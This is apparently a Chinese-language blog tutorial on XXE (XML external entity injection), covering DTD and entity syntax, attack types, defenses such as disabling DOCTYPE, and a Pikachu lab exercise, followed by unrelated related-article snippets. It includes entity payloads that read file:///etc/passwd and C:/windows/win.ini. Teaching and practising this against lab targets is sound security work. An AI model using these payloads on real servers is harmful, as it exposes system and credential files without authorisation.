XXE(外部实体注入)
目录
学习xxe前提:了解xml格式
1. XML基础
2. XXE基础知识
2.1. 结构
2.2. 定义与原理
2.3. XML实体类型
2.4. 攻击类型
2.5. 防御措施
3. pikachu靶场xxe练习
学习xxe前提:了解xml格式
1. XML基础
文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD文档
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
内部声明实体
<!ENTITY 实体名称 "实体的值">
引用外部实体
<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
调用方式:&实体名称;
设计它的目的是传输数据。XML语言的出现核心是用来展示及数据的交互
2. XXE基础知识
2.1. 结构
2.2. 定义与原理
XXE(XML External Entity)即XML外部实体注入攻击,利用XML解析器的配置缺陷,通过构造恶意外部实体,读取文件、发起SSRF攻击或执行远程代码。XML允许自定义实体,当解析器处理外部实体(SYSTEM
关键字)时,若未严格限制,攻击者可注入恶意实体访问系统资源。
服务端接收了并解析了来自用户端的xml数据,但是没有做到严格的分析和过滤,导致外部实体注入
2.3. XML实体类型
- 内部实体:在文档内定义,如
<!ENTITY name "value">
。 - 外部实体:引用外部资源,如
<!ENTITY ext SYSTEM "file:///etc/passwd">
。 - 参数实体:用于DTD内部,以
%
声明,如<!ENTITY %n param "content">
。
%n表示=content,也可以理解为调用。
2.4. 攻击类型
- 文件读取:利用
file://
协议读取服务器文件(如/etc/passwd
)。 - SSRF(服务端请求伪造):通过
http://
等协议探测内网服务。 - 拒绝服务(DoS):加载大文件(如
/dev/random
)耗尽资源。 - 远程代码执行(RCE):需特定环境支持(如PHP的
expect
模块)。 - 综合能力,主要学会融会贯通,洞与洞之间的联通,
2.5. 防御措施
- 禁用外部实体:配置解析器禁用DTD和外部实体(如Java的
DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
)。 - 使用安全解析器:如Python的
defusedxml
库。 - 输入过滤:移除XML中的
DOCTYPE
声明和敏感关键字。 - 数据格式替代:优先使用JSON等非XML格式。
3. pikachu靶场xxe练习
如图所示,图中具有一个接口,可以接受我所打入的xml代码。
现在我使用下面xml码传输数据
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "shuaitan">
]>
<name>&hacker;</name>
具有回显
构造payload
接下来利用file协议进行敏感文件查看
查看文件: win.ini 该文件之前在文件包含时也查询过
是系统的默认文件
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker SYSTEM "file:///C:/windows/win.ini">
]>
<name>&hacker;</name>
敏感文件查看:
相关文章:

XXE(外部实体注入)
目录 学习xxe前提:了解xml格式 1. XML基础 2. XXE基础知识 2.1. 结构 2.2. 定义与原理 2.3. XML实体类型 2.4. 攻击类型 2.5. 防御措施 3. pikachu靶场xxe练习 学习xxe前提:了解xml格式 1. XML基础 文档结构包括XML声明、DTD文档类型定义&…...

jenkins凭据管理
用途: 存储构建需要与其他系统认证所使用的账户或者密码信息. Username with password类型存储Harbor或者其他系统的用户名和密码。GitLab API token类型存储Gitlab的用户API token。Secret text类型可以用来存储OpenShift等系统中的token。Certificate类型可以用户存储证书&am…...

驱动开发硬核特训 · Day 31:理解 I2C 子系统的驱动模型与实例剖析
📚 训练目标: 从驱动模型出发,掌握 I2C 子系统的核心结构;分析控制器与从设备的注册流程;结合 AT24 EEPROM 驱动源码与设备树实例,理解 i2c_client 与 i2c_driver 的交互;配套高质量练习题巩固理…...
9大开源AI智能体概况
项目GitHub 链接开发组织核心功能应用领域典型应用案例活跃度AutoGPT (176k⭐)链接Significant Gravitas 团队基于 GPT-4 的自主代理,能够自动分解任务并生成多步提示循环执行,支持调用工具(如网络搜索、文件操作等)。自动化办公、…...

【python】局域网内通过python远程重启另一台windows电脑
👉技__能👈:C/C/C#/Python/Java/PHP/Vue/Node.js/HTML语言 👉专__注👈:专注主流机器人、人工智能等相关领域的开发、测试技术。 局域网内通过python远程重启另一台windows电脑 目录 局域网内通过python远程…...

超越感官的实相:声、光、气味的科学与哲学探微
在人类的感官世界中,声、光、气味是日常生活中最直接的现象:我们聆听音乐、观赏光影、呼吸花香。然而,若深入探究它们的本质,科学与哲学竟以截然不同的视角,揭示了一个超越感官的实相世界。本文将从经典物理学、佛教哲…...
Python邮件处理:POP与SMTP
poplib简介 poplib 是Python 3中的官方邮件库,实现了POP的标准:RFC1939,用于邮件的收取。与之类似的还有imaplib 。 (注:本文仅拿pop举例) poplib的使用方法,就是几步: 先创建一…...

什么是VR场景?VR与3D漫游到底有什么区别
在数字化时代,虚拟现实(Virtual Reality, 简称VR)场景与3D漫游作为两种前沿技术,改变着人们的生活方式和体验模式。通过计算机模拟真实或假想的场景,让用户仿佛身临其境,并能与虚拟环境进行互动。尽管VR场景…...

python学习day2:进制+码制+逻辑运算符
进制 Python 中的进制表示与转换 进制的基本概念 二进制、八进制、十进制、十六进制的定义与特点不同进制在计算机科学中的应用场景 Python 中的进制表示 二进制表示:使用 0b 前缀八进制表示:使用 0o 前缀十六进制表示:使用 0x 前缀示例…...

【分布式文件系统】FastDFS
1.简介 讲这个之前,相信很多人特别是学java的,肯定在做苍穹外卖的时候肯定接触过一个东西,叫做阿里云OSS,他们的功能都差不多,但是阿里云的这个是要付费的,而FastDFS是免费开源的,是由淘宝资深…...
14、自动配置【源码分析】-初始加载自动配置类
14、自动配置【源码分析】-初始加载自动配置类 Spring Boot的自动配置功能通过智能地加载和配置组件,极大地简化了应用的初始化过程。以下是初始加载自动配置类的详细原理: ### 1. 启动应用 当执行 SpringApplication.run() 方法启动Spring Boot应用时&a…...

word为章节标题添加自动编号
问题: 如何为word文档中的多级标题添加自动编号? 方法: 1、首先为文档各级标题设置格式样式,一级标题使用样式中的“标题 1”,二级标题使用“标题 2”,三级使用“标题 3”,也就是直接在开始—…...

无人机飞行间隔安全智能评估、安全风险评估
无人机空中安全飞行评估需结合改进碰撞模型、蒙特卡洛仿真、安全间隔反推及动态避障策略,通过多机型分类与实时数据融合,实现从理论建模到实际部署的全流程管控,为城市低空密集飞行提供安全保障。 需求 无人机飞行间隔安全智能评估 无人机…...
C++成员对象和封闭类
C++成员对象和封闭类详解 在C++中,成员对象是指一个类的成员变量,它本身是另一个类的对象。封闭类是包含这些成员对象的类。理解两者的关系和行为,对于构造函数、析构函数、初始化顺序以及内存布局等方面的理解非常重要。 1. 成员对象和封闭类的基本概念 成员对象 是一个类…...

【VLNs篇】03:VLMnav-端到端导航与视觉语言模型:将空间推理转化为问答
栏目内容论文标题End-to-End Navigation with Vision-Language Models: Transforming Spatial Reasoning into Question-Answering (端到端导航与视觉语言模型:将空间推理转化为问答)核心问题如何利用大型视觉语言模型(VLM)实现端到端的机器人…...

PCB设计实践(二十五)贴片电阻与插件电阻的全面解析:差异、演进与应用场景
一、基础结构与技术原理差异 物理结构差异 贴片电阻(SMD Resistor)采用表面贴装技术(SMT),其主体为扁平长方体或圆柱形结构,两端金属化电极直接与PCB焊盘接触。典型封装尺寸包括0402(1.00.5mm&a…...
知道不知道
以其昏昏使人昭昭,真正的傻子是自己。 昏昏沉沉,迷迷茫茫,无所适从,无所事事。 清醒与糊涂间交替,知道与不知道间轮循。 在哪里?到哪里? 世界上事物对于我们:知道知道的&…...
文章记单词 | 第106篇(六级)
一,单词释义 branch /brntʃ/ n. 树枝;分支;分部 v. 分支;分岔proceeding /prəˈsiːdɪŋ/ n. 程序;进程;(复数)会议记录academy /əˈkdəmi/ n. 学院;研究院&#x…...
SpringBoot项目中Redis的使用
在Spring Boot项目中使用Redis作为缓存或数据存储是非常常见的场景。以下是详细的实现步骤和示例代码: 一、添加依赖 在pom.xml中添加Spring Data Redis依赖: <dependency><groupId>org.springframework.boot</groupId><artifac…...

Canvas设计图片编辑器全讲解(一)Canvas基础(万字图文讲解)
一、前序 近两年AI发展太过迅速,各类AI产品层出不穷,AI绘图/AI工作流/AI视频等平台的蓬勃发展,促使图片/视频等复杂内容的创作更加简单,让更多普通人有了图片和视频创作的机会。另一方面用户内容消费也逐渐向图片和视频倾斜。在“…...

利用Qt绘图随机生成带多种干扰信息的数字图片
背景 在学习AutoML或ML的过程中,需要一些图片类型的数据做分类预测训练,于是想到尝试最简单的数字识别,且单个数字的识别,也就是y的取值只有10种可能,即0到9。 以下参考代码分别考虑了数字字体的大小、数字颜色的深浅…...

STM32——从点灯到传感器控制
STM32基础外设开发:从点灯到传感器控制 一、前言 本篇文章总结STM32F10x系列基础外设开发实例,涵盖GPIO控制、按键检测、传感器应用等。所有代码基于标准库开发,适合STM32初学者参考。 二、硬件准备 STM32F10x系列开发板LED模块有源蜂鸣器…...

java day14
接昨天,响应 响应 就是我们在处理请求的时候,里面的return 其实方法里面写的return的返回平常的什么字符串啊什么等等;这些东西都是直接返回;如果是一个对象的话,我们会按json的格式返回; 这些都依赖于一…...

Tailwind css实战,基于Kooboo构建AI对话框页面(一)
在当今数字化时代,AI 助手已成为网站和应用不可或缺的一部分。本文将带你一步步使用 Tailwind CSS 和 Kooboo 构建一个现代化的 AI 对话界面框。 一、选择 Kooboo平台 的核心优势 智能提示:在输入 class 属性时,会自动触发 Tailwind CSS 规则…...

重塑数学边界:人工智能如何引领数学研究的新纪元
目录 一、人工智能如何重新定义数学研究的边界 (一)数学与AI的关系:从基础理论到创新思维的回馈 (二)AI的创造力:突破传统推理的局限 (三)AI对数学研究的潜在贡献:创…...

docker部署并测试翻译模型-CSANMT连续语义增强机器翻译
1.模型选择CSANMT-Translation模型: 2.修改docker-compose.yml文件,重新定义模型缓存路径和存储路径 其中MODELSCOPE_CACHE指定了模型的下载路径。 3.运行docker compose up -d --build,提示出现报错:Error response from daemon…...
蓝桥杯2025.5.23每日一题-儿童数
儿童数 若一个正整数 n n n 满足 n 61 n^{61} n61 整除 2024 ! 2024! 2024!,即 2024 ! 2024! 2024! 除以 n 61 n^{61} n61 的余数为 0 0 0,则称 n n n 为儿童数。 现在,请你计算在区间 [ 1 , ∞ ) [1, \infty) [1,∞) 内一共有多少…...

Spring Boot项目配置核心 - pom.xml的依赖管理与构建优化
基础架构 <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVe…...

告别手抖困扰:全方位健康护理指南
手抖,医学上称为震颤,是常见的身体症状,可能由多种原因引发,了解其成因并采取科学护理措施,对改善症状、维护健康至关重要。 生理性手抖往往因情绪激动、过度劳累、大量饮用咖啡或酒精等引起,这种手抖通常较…...

图解深度学习 - 特征工程(DL和ML的核心差异)
前言 深度学习通过自动化特征提取,简化了机器学习工作流程,它让解决问题变得更加简单。因为深度学习将特征工程完全自动化,而特征工程曾经是机器学习工作流程中最关键的一步。 一、机器学习特征工程 机器学习为什么需要特征工程(…...